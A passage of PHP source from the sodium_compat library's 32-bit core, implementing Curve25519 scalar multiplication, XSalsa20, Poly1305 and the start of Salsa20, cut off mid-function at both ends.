        $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5);
        $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6);
        $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7);
        $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8);
        $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9);
        $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0);
        $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1);
        $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2);
        $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3);
        $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4);
        $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5);
        $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6);
        $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7);
        $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8);
        $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $h */
        $h = array();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17);
        }

        $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25);
        $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5));
        $h[9] = $h[9]->subInt64($carry9->shiftLeft(25));

        $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25);
        $h[2] = $h[2]->addInt64($carry1);
        $h[1] = $h[1]->subInt64($carry1->shiftLeft(25));

        $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25);
        $h[4] = $h[4]->addInt64($carry3);
        $h[3] = $h[3]->subInt64($carry3->shiftLeft(25));

        $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25);
        $h[6] = $h[6]->addInt64($carry5);
        $h[5] = $h[5]->subInt64($carry5->shiftLeft(25));

        $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25);
        $h[8] = $h[8]->addInt64($carry7);
        $h[7] = $h[7]->subInt64($carry7->shiftLeft(25));

        $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26);
        $h[1] = $h[1]->addInt64($carry0);
        $h[0] = $h[0]->subInt64($carry0->shiftLeft(26));

        $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26);
        $h[3] = $h[3]->addInt64($carry2);
        $h[2] = $h[2]->subInt64($carry2->shiftLeft(26));

        $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26);
        $h[5] = $h[5]->addInt64($carry4);
        $h[4] = $h[4]->subInt64($carry4->shiftLeft(26));

        $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26);
        $h[7] = $h[7]->addInt64($carry6);
        $h[6] = $h[6]->subInt64($carry6->shiftLeft(26));

        $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26);
        $h[9] = $h[9]->addInt64($carry8);
        $h[8] = $h[8]->subInt64($carry8->shiftLeft(26));

        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->toInt32();
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h2 */
        $h2 = $h;
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;

            # swap ^= b;
            $swap ^= $b;

            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);

            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);

            # swap = b;
            /** @var int $swap */
            $swap = $b;

            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);

            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return (string) self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_XSalsa20
 */
abstract class ParagonIE_Sodium_Core32_XSalsa20 extends ParagonIE_Sodium_Core32_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305_State', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305_State
 */
class ParagonIE_Sodium_Core32_Poly1305_State extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @var array<int, int>
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    public $r;

    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int64>
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core32_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '')
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Poly1305 requires a 32-byte key'
            );
        }
        /* r &= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this->r = array(
            // st->r[0] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4))
                ->setUnsignedInt(true)
                ->mask(0x3ffffff),
            // st->r[1] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4))
                ->setUnsignedInt(true)
                ->shiftRight(2)
                ->mask(0x3ffff03),
            // st->r[2] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4))
                ->setUnsignedInt(true)
                ->shiftRight(4)
                ->mask(0x3ffc0ff),
            // st->r[3] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4))
                ->setUnsignedInt(true)
                ->shiftRight(6)
                ->mask(0x3f03fff),
            // st->r[4] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4))
                ->setUnsignedInt(true)
                ->shiftRight(8)
                ->mask(0x00fffff)
        );

        /* h = 0 */
        $this->h = array(
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true)
        );

        /* save pad for later */
        $this->pad = array(
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4))
                ->setUnsignedInt(true)->toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4))
                ->setUnsignedInt(true)->toInt64(),
        );

        $this->leftover = 0;
        $this->final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = '')
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this->leftover) {
            /** @var int $want */
            $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this->leftover;
            if ($want > $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i < $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this->leftover += $want;
            if ($this->leftover < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                // We still don't have enough to run $this->blocks()
                return $this;
            }

            $this->blocks(
                self::intArrayToString($this->buffer),
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $this->leftover = 0;
        }

        /* process full blocks */
        if ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes & ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1);
            if ($want >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                /** @var string $block */
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                    $this->blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i < $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this->buffer[$this->leftover + $i] = $mi;
            }
            $this->leftover = (int) $this->leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) < 16) {
            $message = str_pad($message, 16, "\x00", STR_PAD_RIGHT);
        }
        $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this->final ? 0 : 1 << 24)); /* 1 << 128 */
        $hibit->setUnsignedInt(true);
        $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true);
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $d0
         * @var ParagonIE_Sodium_Core32_Int64 $d1
         * @var ParagonIE_Sodium_Core32_Int64 $d2
         * @var ParagonIE_Sodium_Core32_Int64 $d3
         * @var ParagonIE_Sodium_Core32_Int64 $d4
         * @var ParagonIE_Sodium_Core32_Int64 $r0
         * @var ParagonIE_Sodium_Core32_Int64 $r1
         * @var ParagonIE_Sodium_Core32_Int64 $r2
         * @var ParagonIE_Sodium_Core32_Int64 $r3
         * @var ParagonIE_Sodium_Core32_Int64 $r4
         *
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $r0 = $this->r[0]->toInt64();
        $r1 = $this->r[1]->toInt64();
        $r2 = $this->r[2]->toInt64();
        $r3 = $this->r[3]->toInt64();
        $r4 = $this->r[4]->toInt64();

        $s1 = $r1->toInt64()->mulInt(5, 3);
        $s2 = $r2->toInt64()->mulInt(5, 3);
        $s3 = $r3->toInt64()->mulInt(5, 3);
        $s4 = $r4->toInt64()->mulInt(5, 3);

        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        while ($bytes >= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 = $h0->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))
                    ->mask(0x3ffffff)
            )->toInt64();
            $h1 = $h1->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4))
                    ->shiftRight(2)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h2 = $h2->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4))
                    ->shiftRight(4)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h3 = $h3->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4))
                    ->shiftRight(6)
                    ->mask(0x3ffffff)
            )->toInt64();
            $h4 = $h4->addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))
                    ->shiftRight(8)
                    ->orInt32($hibit)
            )->toInt64();

            /* h *= r */
            $d0 = $zero
                ->addInt64($h0->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h1, 27))
                ->addInt64($s3->mulInt64($h2, 27))
                ->addInt64($s2->mulInt64($h3, 27))
                ->addInt64($s1->mulInt64($h4, 27));

            $d1 = $zero
                ->addInt64($h0->mulInt64($r1, 27))
                ->addInt64($h1->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h2, 27))
                ->addInt64($s3->mulInt64($h3, 27))
                ->addInt64($s2->mulInt64($h4, 27));

            $d2 = $zero
                ->addInt64($h0->mulInt64($r2, 27))
                ->addInt64($h1->mulInt64($r1, 27))
                ->addInt64($h2->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h3, 27))
                ->addInt64($s3->mulInt64($h4, 27));

            $d3 = $zero
                ->addInt64($h0->mulInt64($r3, 27))
                ->addInt64($h1->mulInt64($r2, 27))
                ->addInt64($h2->mulInt64($r1, 27))
                ->addInt64($h3->mulInt64($r0, 27))
                ->addInt64($s4->mulInt64($h4, 27));

            $d4 = $zero
                ->addInt64($h0->mulInt64($r4, 27))
                ->addInt64($h1->mulInt64($r3, 27))
                ->addInt64($h2->mulInt64($r2, 27))
                ->addInt64($h3->mulInt64($r1, 27))
                ->addInt64($h4->mulInt64($r0, 27));

            /* (partial) h %= p */
            $c = $d0->shiftRight(26);
            $h0 = $d0->toInt32()->mask(0x3ffffff);
            $d1 = $d1->addInt64($c);

            $c = $d1->shiftRight(26);
            $h1 = $d1->toInt32()->mask(0x3ffffff);
            $d2 = $d2->addInt64($c);

            $c = $d2->shiftRight(26);
            $h2 = $d2->toInt32()->mask(0x3ffffff);
            $d3 = $d3->addInt64($c);

            $c = $d3->shiftRight(26);
            $h3 = $d3->toInt32()->mask(0x3ffffff);
            $d4 = $d4->addInt64($c);

            $c = $d4->shiftRight(26);
            $h4 = $d4->toInt32()->mask(0x3ffffff);
            $h0 = $h0->addInt32($c->toInt32()->mulInt(5, 3));

            $c = $h0->shiftRight(26);
            $h0 = $h0->mask(0x3ffffff);
            $h1 = $h1->addInt32($c);

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
        }

        /** @var array<int, ParagonIE_Sodium_Core32_Int32> $h */
        $this->h = array($h0, $h1, $h2, $h3, $h4);
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this->leftover) {
            $i = $this->leftover;
            $this->buffer[$i++] = 1;
            for (; $i < ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) {
                $this->buffer[$i] = 0;
            }
            $this->final = true;
            $this->blocks(
                self::substr(
                    self::intArrayToString($this->buffer),
                    0,
                    ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
                ),
                $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
        }

        /**
         * @var ParagonIE_Sodium_Core32_Int32 $f
         * @var ParagonIE_Sodium_Core32_Int32 $g0
         * @var ParagonIE_Sodium_Core32_Int32 $g1
         * @var ParagonIE_Sodium_Core32_Int32 $g2
         * @var ParagonIE_Sodium_Core32_Int32 $g3
         * @var ParagonIE_Sodium_Core32_Int32 $g4
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $h0 = $this->h[0];
        $h1 = $this->h[1];
        $h2 = $this->h[2];
        $h3 = $this->h[3];
        $h4 = $this->h[4];

        $c = $h1->shiftRight(26);           # $c = $h1 >> 26;
        $h1 = $h1->mask(0x3ffffff);         # $h1 &= 0x3ffffff;

        $h2 = $h2->addInt32($c);            # $h2 += $c;
        $c = $h2->shiftRight(26);           # $c = $h2 >> 26;
        $h2 = $h2->mask(0x3ffffff);         # $h2 &= 0x3ffffff;

        $h3 = $h3->addInt32($c);            # $h3 += $c;
        $c = $h3->shiftRight(26);           # $c = $h3 >> 26;
        $h3 = $h3->mask(0x3ffffff);         # $h3 &= 0x3ffffff;

        $h4 = $h4->addInt32($c);            # $h4 += $c;
        $c = $h4->shiftRight(26);           # $c = $h4 >> 26;
        $h4 = $h4->mask(0x3ffffff);         # $h4 &= 0x3ffffff;

        $h0 = $h0->addInt32($c->mulInt(5, 3)); # $h0 += self::mul($c, 5);
        $c = $h0->shiftRight(26);           # $c = $h0 >> 26;
        $h0 = $h0->mask(0x3ffffff);         # $h0 &= 0x3ffffff;
        $h1 = $h1->addInt32($c);            # $h1 += $c;

        /* compute h + -p */
        $g0 = $h0->addInt(5);
        $c  = $g0->shiftRight(26);
        $g0 = $g0->mask(0x3ffffff);
        $g1 = $h1->addInt32($c);
        $c  = $g1->shiftRight(26);
        $g1 = $g1->mask(0x3ffffff);
        $g2 = $h2->addInt32($c);
        $c  = $g2->shiftRight(26);
        $g2 = $g2->mask(0x3ffffff);
        $g3 = $h3->addInt32($c);
        $c  = $g3->shiftRight(26);
        $g3 = $g3->mask(0x3ffffff);
        $g4 = $h4->addInt32($c)->subInt(1 << 26);

        # $mask = ($g4 >> 31) - 1;
        /* select h if h < p, or h + -p if h >= p */
        $mask = (int) (($g4->toInt() >> 31) + 1);

        $g0 = $g0->mask($mask);
        $g1 = $g1->mask($mask);
        $g2 = $g2->mask($mask);
        $g3 = $g3->mask($mask);
        $g4 = $g4->mask($mask);

        /** @var int $mask */
        $mask = ~$mask;

        $h0 = $h0->mask($mask)->orInt32($g0);
        $h1 = $h1->mask($mask)->orInt32($g1);
        $h2 = $h2->mask($mask)->orInt32($g2);
        $h3 = $h3->mask($mask)->orInt32($g3);
        $h4 = $h4->mask($mask)->orInt32($g4);

        /* h = h % (2^128) */
        $h0 = $h0->orInt32($h1->shiftLeft(26));
        $h1 = $h1->shiftRight(6)->orInt32($h2->shiftLeft(20));
        $h2 = $h2->shiftRight(12)->orInt32($h3->shiftLeft(14));
        $h3 = $h3->shiftRight(18)->orInt32($h4->shiftLeft(8));

        /* mac = (h + pad) % (2^128) */
        $f = $h0->toInt64()->addInt64($this->pad[0]);
        $h0 = $f->toInt32();
        $f = $h1->toInt64()->addInt64($this->pad[1])->addInt($h0->overflow);
        $h1 = $f->toInt32();
        $f = $h2->toInt64()->addInt64($this->pad[2])->addInt($h1->overflow);
        $h2 = $f->toInt32();
        $f = $h3->toInt64()->addInt64($this->pad[3])->addInt($h2->overflow);
        $h3 = $f->toInt32();

        return $h0->toReverseString() .
            $h1->toReverseString() .
            $h2->toReverseString() .
            $h3->toReverseString();
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core32_Util extends ParagonIE_Sodium_Core_Util
{

}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Salsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Salsa20
 */
abstract class ParagonIE_Sodium_Core32_Salsa20 extends ParagonIE_Sodium_Core32_Util
{
    const ROUNDS = 20;

    /**
     * Calculate an salsa20 hash of a single block
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function core_salsa20($in, $k, $c = null)
    {
        /**
         * @var ParagonIE_Sodium_Core32_Int32 $x0
         * @var ParagonIE_Sodium_Core32_Int32 $x1
         * @var ParagonIE_Sodium_Core32_Int32 $x2
         * @var ParagonIE_Sodium_Core32_Int32 $x3
         * @var ParagonIE_Sodium_Core32_Int32 $x4
         * @var ParagonIE_Sodium_Core32_Int32 $x5
         * @var ParagonIE_Sodium_Core32_Int32 $x6
         * @var ParagonIE_Sodium_Core32_Int32 $x7
         * @var ParagonIE_Sodium_Core32_Int32 $x8
         * @var ParagonIE_Sodium_Core32_Int32 $x9
         * @var ParagonIE_Sodium_Core32_Int32 $x10
         * @var ParagonIE_Sodium_Core32_Int32 $x11
         * @var ParagonIE_Sodium_Core32_Int32 $x12
         * @var ParagonIE_Sodium_Core32_Int32 $x13
         * @var ParagonIE_Sodium_Core32_Int32 $x14
         * @var ParagonIE_Sodium_Core32_Int32 $x15
         * @var ParagonIE_Sodium_Core32_Int32 $j0
         * @var ParagonIE_Sodium_Core32_Int32 $j1
         * @var ParagonIE_Sodium_Core32_Int32 $j2
         * @var ParagonIE_Sodium_Core32_Int32 $j3
         * @var ParagonIE_Sodium_Core32_Int32 $j4
         * @var ParagonIE_Sodium_Core32_Int32 $j5
         * @var ParagonIE_Sodium_Core32_Int32 $j6
         * @var ParagonIE_Sodium_Core32_Int32 $j7
         * @var ParagonIE_Sodium_Core32_Int32 $j8
         * @var ParagonIE_Sodium_Core32_Int32 $j9
         * @var ParagonIE_Sodium_Core32_Int32 $j10
         * @var ParagonIE_Sodium_Core32_Int32 $j11
         * @var ParagonIE_Sodium_Core32_Int32 $j12
         * @var ParagonIE_Sodium_Core32_Int32 $j13
         * @var ParagonIE_Sodium_Core32_Int32 $j14
         * @var ParagonIE_Sodium_Core32_Int32 $j15
         */
        if (self::strlen($k) < 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        if ($c === null) {
            $x0  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $x5  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $x10 = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $x15 = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $x0  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $x5  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $x10 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $x15 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $x1  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 0, 4));
        $x2  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 4, 4));
        $x3  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 8, 4));
        $x4  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 12, 4));
        $x6  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $x7  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $x8  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $x9  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));
        $x11 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 16, 4));
        $x12 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 20, 4));
        $x13 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 24, 4));
        $x14 = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($k, 28, 4));

        $j0  = clone $x0;
        $j1  = clone $x1;
        $j2  = clone $x2;
        $j3  = clone $x3;
        $j4  = clone $x4;
        $j5  = clone $x5;
        $j6  = clone $x6;
        $j7  = clone $x7;
        $j8  = clone $x8;
        $j9  = clone $x9;
        $j10  = clone $x10;
        $j11  = clone $x11;
        $j12  = clone $x12;
        $j13  = clone $x13;
        $j14  = clone $x14;
        $j15  = clone $x15;

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4  = $x4->xorInt32($x0->addInt32($x12)->rotateLeft(7));
            $x8  = $x8->xorInt32($x4->addInt32($x0)->rotateLeft(9));
            $x12 = $x12->xorInt32($x8->addInt32($x4)->rotateLeft(13));
            $x0  = $x0->xorInt32($x12->addInt32($x8)->rotateLeft(18));

            $x9  = $x9->xorInt32($x5->addInt32($x1)->rotateLeft(7));
            $x13 = $x13->xorInt32($x9->addInt32($x5)->rotateLeft(9));
